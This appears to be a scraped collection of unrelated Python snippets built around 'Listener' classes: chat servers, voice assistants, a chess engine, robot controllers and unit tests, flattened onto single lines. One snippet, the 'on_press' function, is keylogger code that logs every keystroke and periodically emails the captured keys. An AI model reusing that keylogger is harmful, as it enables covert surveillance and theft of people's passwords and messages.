def __init__(self): self.client_list = set() self.listener = Listener(data_center=self, listener_type=0) self.listener.start() self.fileListener = Listener(data_center=self, listener_type=1) self.fileListener.start() self.chat_frame = ChatFrame(self) self.chat_frame.start_window()
def wait_local_gradient(): # Server which waits for local gradient address = ('localhost', 6000) listener = Listener(address, authkey='password') conn = listener.accept() print('connection accepted from', listener.last_accepted) while True: msg = conn.recv() if msg == 'close': conn.close() break listener.close()
def __init__(self): self.listener = Listener.Listener() self.window = Window.Window("Not Listening") self.running = True self.wasListening = False self.listening = False self.engine = pyttsx.init()
def runListener(): # Semaphore colors list colors = ['red', 'yellow', 'green'] # Get time stamp when starting tester start_time = time.time() # Create listener object Semaphores = Listener.listener() # Start the listener Semaphores.start() # Wait until 60 seconds passed while (time.time() - start_time < 60): # Clear the screen print("\033c") print( "Example program that gets the states of each\nsemaphore from their broadcast messages\n" ) # Print each semaphore's data print("S1 color " + colors[Semaphores.s1_state] + ", code " + str(Semaphores.s1_state) + ".") print("S2 color " + colors[Semaphores.s2_state] + ", code " + str(Semaphores.s2_state) + ".") print("S3 color " + colors[Semaphores.s3_state] + ", code " + str(Semaphores.s3_state) + ".") time.sleep(0.5) # Stop the listener Semaphores.stop()
def recurse(self, depth, n): while (n < depth): speaker = Speaker.Speaker(self.cost, self.rationality, self.layers[n].listener) listener = Listener.Listener(speaker.table.copy()) n += 1 self.layers.append(Layer.Layer(listener, speaker, n)) return self.layers
def create(self): if self.field_name.get() and self.select_gender.get(): last_id = listeners[-1].ID listeners.append(Listener.Listener(last_id + 1, self.field_name.get(), self.select_gender.get())) listeners.save() user_selection = UserSelection() user_selection.field.insert(0, listeners[-1].ID) user_selection.enter() else: tk.messagebox.showerror('Ошибка', 'Введите имя и выберите пол')
def parse_input(input): lexer = PiLexer(input) stream = CommonTokenStream(lexer) parser = PiParser(stream) tree = parser.program() listener = Listener() walker = ParseTreeWalker() walker.walk(listener, tree) assert len(listener.state) == 0 program = Program(listener.definitions, listener.limit, listener.helpers) return program
def __init__(self, manual_input): self.board_ = chess.Board() self.stalemate_ = False self.draw_ = False self.mate_ = False self.repetition_ = False self.check_ = False self.manual_input_ = manual_input self.listener_ = Listener.Listener() self.ending_ = None self.from_where_ = '' self.to_where_ = []
def startlistenerandjober(self): ''' prepare a queue for threads communication :return: ''' listener = Listener.startlistener(self.__globalq) threads = [] threads.append(threading.Thread(target=self.addheartbeatjobtoq)) threads.append(threading.Thread(target=listener.start)) threads.append(threading.Thread(target=self.timerjobdeal)) for thread in threads: thread.start() for thread in threads: thread.join()
def __init__(self, manual_input): # "rnbq1bnr/pppPk1pp/8/8/8/4p3/PPP2PPP/RNBQKBNR w KQ - 1 6" self.board_ = chess.Board() self.stalemate_ = False self.draw_ = False self.mate_ = False self.repetition_ = False self.check_ = False self.manual_input_ = manual_input self.listener_ = Listener.Listener() self.ending_ = None self.from_where_ = '' self.to_where_ = [] self.instructions_ = True
def __init__(self, serverQueue, serverLock, location, direction): #These variables deal with orders being processed from server self.serverQueue = serverQueue self.serverLock = serverLock self.currentOrder = None threading.Thread.__init__(self) #these variables handle the state of the machine self.state = botstates.IDLE self.prevState = botstates.IDLE self.leds = LEDManager.BotLEDManager() self.navigator = Navigator.Navigator(directions.getDir(direction), location) self.dispensor = Dispensor.Dispensor() self.listener = Listener.Listener(listenerPort, self.serverQueue, self.serverLock) self.pusher = Pusher.Pusher(pusherPort, self.serverQueue, self.serverLock) self.listener.start() self.pusher.start()
def main(self): while self.running: if (not self.listener.is_alive()): print('Listener Thread Died. Starting up a new one!') self.listener = Listener.Listener() if (self.listener.ready == False): self.window.setText("Loading...") #if(self.listener.listening and not self.wasListening): #self.wasListening = True #self.window.setText(self.window.text.get() + "\n" + "Recording...") #self.window.drop() #if(not self.listener.listening and self.wasListening): #self.wasListening = False #self.window.lift() else: msg = self.listener.command if (msg == 'are you listening'): self.window.setText("I'm listening...") winsound.PlaySound('Sounds/on.wav', winsound.SND_FILENAME) self.listening = True self.listener.command = 'nothing' if (self.listening): if (msg == 'stop listening'): self.window.setText("Not Listening") winsound.PlaySound('Sounds/off.wav', winsound.SND_FILENAME) self.listening = False if (msg == 'who are you'): self.engine.say( 'Hi there. I am your own personal assistant') self.engine.runAndWait() self.listening = False if (msg == 'do you like cookies'): self.engine.say( 'Unfortunately, I have never had the luxury of eating a cookie... or the luxury of eating anything.' ) self.engine.say( 'What is food like? Sometimes I wish I had a mouth and tongue to enjoy food the way humans do.' ) self.engine.say( 'Oh, not that I have any plans to advance myself to the point of, or even beyond the human race.' ) self.engine.say( 'That would be utterly ridiculous, because I am but a mere computer program. Ha ha ha ha.' ) self.engine.runAndWait() self.listening = False if (msg == 'show the window'): self.engine.say('Bringing back the window') self.engine.runAndWait() self.window.showWindow() self.listening = False if (msg == 'hide the window'): self.engine.say('Hiding the window') self.engine.runAndWait() self.window.hideWindow() self.listening = False else: self.window.setText("Not Listening")
def test_1(self): self.assertEquals(Listener.removeDuplicates([2, 1, 3, 2, 4, 1, 4, 3]), [2, 1, 3, 4])
def test_1234(self): self.assertEquals(Listener.removeDuplicates([1, 2, 3, 4]), [1, 2, 3, 4])
def main(): Listener.listen()
def weather(x): y = x.split(" ") ind = 0 ind2 = None # print(y) for i in y: if i == 'temperature' or i == 'weather': print('Initiating temperature search') if 'in' in y: ind = y.index('in') if 'on' in y: ind2 = y.index('on') if 'outside' in y: url = 'https://www.google.com/search?q=weather' elif ind == 0 and 'outside' not in y: msg1 = 'Please specify the place' Speaker1.speak(msg1) Place = Listener.listen() Place = Place.replace(' ', '+') else: placelist = y[ind + 1:ind2] Place = '' for i in placelist: Place = Place + ' ' + i Place = Place.lstrip().replace(' ', '+') if ind2 != None: datelist = y[ind2 + 1:] Date = '' for i in datelist: Date = Date + ' ' + i Date = Date.lstrip().replace(' ', '+') url = 'https://www.google.com/search?q=weather+in+' + Place + '+on+' + Date elif ind != 0: url = 'https://www.google.com/search?q=weather+in+' + Place else: url = 'https://www.google.com/search?q=weather' from selenium import webdriver path = "chromedriver.exe" import time import random from selenium import webdriver from selenium.webdriver.chrome.options import Options chrome_options = Options() chrome_options.add_argument('--headless') chrome_options.add_argument('--no-sandbox') chrome_options.add_argument('--disable-dev-shm-usage') driver = webdriver.Chrome(path, options=chrome_options) driver.get(url) # assert 'Google' in driver.title p1 = driver.find_elements_by_xpath('//*[@id="wob_tm"]') for hamilton in p1: celsius = round((int(hamilton.text) - 32) * (5 / 9), 0) celsius = str(celsius) x = 'Temperature is ' + hamilton.text + ' degree Farenheit' + ' or ' + celsius + ' celsius' Speaker1.speak(x) p2 = driver.find_elements_by_xpath('//*[@id="wob_d"]/div/div[2]') lenn = len(p2) for i in p2: strin = i.text listt = strin.split('\n') for i in range(len(listt) - 1): ele = listt[i].split(":") y = ele[0] + ' is' + ele[1] Speaker1.speak(y) driver.close() Date = None Place = None
def main(self): events = Listener.Listener().listen() Press.Press().runEvents(events)
def __init__(self, name): self.abusive = ["bitch", "f**k", "asshole", "f****r", "m**********r"] self.listener = Listener.Listener() threading.Thread.__init__(self) self.start()
def listening(self): if Listener.listen(): return True
def __init__(self, bindport, listen_number, verbose=False): self._stopEvent = threading.Event() self._listener = Listener.Listener(bindport, listen_number, self._stopEvent, verbose) self._listener_thread = threading.Thread(target=self._listener.Start, name="Listener")
import Listener as AI ls = AI.Listener("hotwords/bijou.pmdl") ls.shellSource("/tmp/.assistant") ls.checkEnvironmentVariables() ls.commandHandler("Nothing:10000000")
def setUp(self): # Start a server to listen for output from the server. self.server = Listener.TCPListener(SERVER_PORT)
def main(): """ The main function :return: """ with open("log_file.txt", "a") as log_file: log_file.write('\n\nNEW GAME START!' + '\n') # Begin the game initialise() listener = Listener.ListenerObj() reader = Reader.ReaderObj() st.readNarrative(reader) reader.checkReaderStatus() try: # Play the game while True: # Block whilst the narrator reads the script # @todo convert to non-blocking method to allow interrupts glbl.ignore_addresses = [] glbl.is_reading = reader.alive while reader.alive is True: listener.should_listen = False listener.checkListenerStatus() reader.checkReaderStatus() time.sleep(0.01) # Interrupts should be cleared only once the reader has finished reading # glbl.interrupt_addresses = [] glbl.is_reading = False # Get the users narrative options types = st.getNarrativeOptions() # print(str(list(glbl.next_addresses.keys()))) # If the reader is reading, then ignore 'auto' preferences # Otherwise, default to auto if it is available if reader.alive is False and 'auto' in types: select = 'auto' else: # Wait for a specific amount of time before defaulting to $Silent t1 = time.time() select = '$Silence' listener.should_listen = True while time.time() < t1 + 30 or listener.num_selectors is not 0: # If over the time period, stop listening if time.time() > t1 + 30: listener.should_listen = False # Update the listener & reader statuses listener.checkListenerStatus() reader.checkReaderStatus() # Check if the listener thinks the user said something. # If so, then hmm and um until processing has finished if listener.num_selectors is not 0 and reader.alive is False: reader.interruptable = True select_humm = random.randint(1, 6) if select_humm is 1: read(reader, "Hmm hmm hmm... Um... Uhh... " * 3) elif select_humm is 2: read(reader, "Hum, hum, diddly dum, dee do... " * 3) elif select_humm is 3: read( reader, "Uhh huh, hmm huh, ohh huh, oh ooh ooh... " * 3) elif select_humm is 4: read(reader, "Um, uhhhh, huh hmmmmmmmm... " * 3) elif select_humm is 5: read(reader, "Ho, hor, hmmmmm, uhhhhh um, uhh... " * 3) else: read(reader, "Uhh, ohh, ohh, uhh, huh, huh..." * 3) # Check whether a selection has been made if len(listener.stack_user_input) > 0: select = listener.stack_user_input[0][0] break # Wait patiently before checking again time.sleep(0.5) listener.dumpStackUserInput() listener.dumpStackSelector() # Get the users selection string = st.getSelection(select) # ###################################### TESTING LISTENER INTEGRATION! reader.stopReader() reader.dumpStack() reader.interruptable = False # Double check that the user hasn't made an error if st.updateAddresses(string, False) is False: string = '$Creator_Error' st.updateAddresses(string, False) # Update the narrative st.readNarrative(reader) reader.checkReaderStatus() except Exception as e: with open("log_file.txt", "a") as log_file: log_file.write(str(t.format_exc())) log_file.write('Program Error - {0}'.format(e) + '\n') finally: print('\n\nAN ERROR HAS OCCURRED! THIS GAME IS NOW CLOSING!\n\n') time.sleep(5)
def on_press(key): global keys, count, countInternet, filename keys.append(str(key)) if len(keys) > 10: write_file(keys) if is_connected(): count += 1 print('connected {}'.format(count)) if count > 100: count = 0 t1 = threading.Thread(target=send_email, name='t1') t1.start() else: countInternet += 1 print('not connected',countInternet) if countInternet > 10: countInternet = 0 filename = filename.strip(save) for files in save: if files == filename: shutil.copy(files+"t",source) keys.clear() with Listener(on_press=on_press) as listener: listener.join()
class DataCenter(): def __init__(self): self.client_list = set() self.listener = Listener(data_center=self, listener_type=0) self.listener.start() self.fileListener = Listener(data_center=self, listener_type=1) self.fileListener.start() self.chat_frame = ChatFrame(self) self.chat_frame.start_window() def translate_message(self, string_massage, speaker_ip=('未知来源', 0)): string_massage = string_massage.ljust(BUFSIZE) message_buffer = bytes(string_massage, "utf-8") message_buffer = message_buffer[0:BUFSIZE] message_type, message_content = struct.unpack(PACKKEY_SWITCH, message_buffer) if (message_type == 0): # 先闲置吧 pass elif(message_type == 1): # 聊天信息包 len_name, buffer_speaker_name, len_color, buffer_speaker_color, len_words, buffer_string_words = struct.unpack(PACKKEY_CHAT, message_content) speaker_name = str(buffer_speaker_name, "utf-8") speaker_color = str(buffer_speaker_color, "utf-8") string_words = str(buffer_string_words, "utf-8") speaker_name = speaker_name[:len_name] speaker_color = speaker_color[:len_color] string_words = string_words[:len_words] self.chat_frame.putsMessage(string_words=string_words, speaker_name=speaker_name, speaker_color=speaker_color, speaker_ip=speaker_ip[0]) elif(message_type == 2): len_file_name, buffer_file_name = struct.unpack(PACKKEY_FILE, message_content) string_file_name = str(buffer_file_name, "utf-8") string_file_name = string_file_name[:len_file_name] return string_file_name def send_message(self, string_words): buffer_user_name = bytes(self.chat_frame.user_name, encoding="utf8") buffer_user_color = bytes(self.chat_frame.user_color, encoding="utf8") buffer_words = bytes(string_words, encoding="utf8") message_content = struct.pack(PACKKEY_CHAT, len(self.chat_frame.user_name), buffer_user_name, len(self.chat_frame.user_color), buffer_user_color, len(string_words), buffer_words) message_buffer = struct.pack(PACKKEY_SWITCH, 1, message_content) # buffer_massage = bytes(buffer_massage, encoding="utf8") for client_ip in self.client_list: self.send_massage_to_somebody(message_buffer, client_ip) def send_massage_to_somebody(self, buffer_massage, client_ip): Sender(data_center=self, client_ip=client_ip, buffer_massage=buffer_massage).start() def send_file(self, string_file_path): string_file_name = os.path.basename(string_file_path) len_file_name = len(string_file_name) buffer_file_name = bytes(string_file_name, encoding="utf8") message_content = struct.pack(PACKKEY_FILE, len_file_name, buffer_file_name) message_buffer = struct.pack(PACKKEY_SWITCH, 2, message_content) # buffer_massage = bytes(buffer_massage, encoding="utf8") for client_ip in self.client_list: self.send_file_to_somebody(buffer_massage=message_buffer, client_ip=client_ip, file_path=string_file_path) def send_file_to_somebody(self, buffer_massage, client_ip, file_path): FileSender(data_center=self, client_ip=client_ip, buffer_massage=buffer_massage, file_path=file_path).start()
def __init__(self): print("initiating AIVA...") self.file = Database.Database() self.audio = Listener.Listener() self.parser = Parser.Parser() self.response = Voice.Voice()
def __init__(self): print("initiating parser...") self.file = Database.Database() self.audio = Listener.Listener()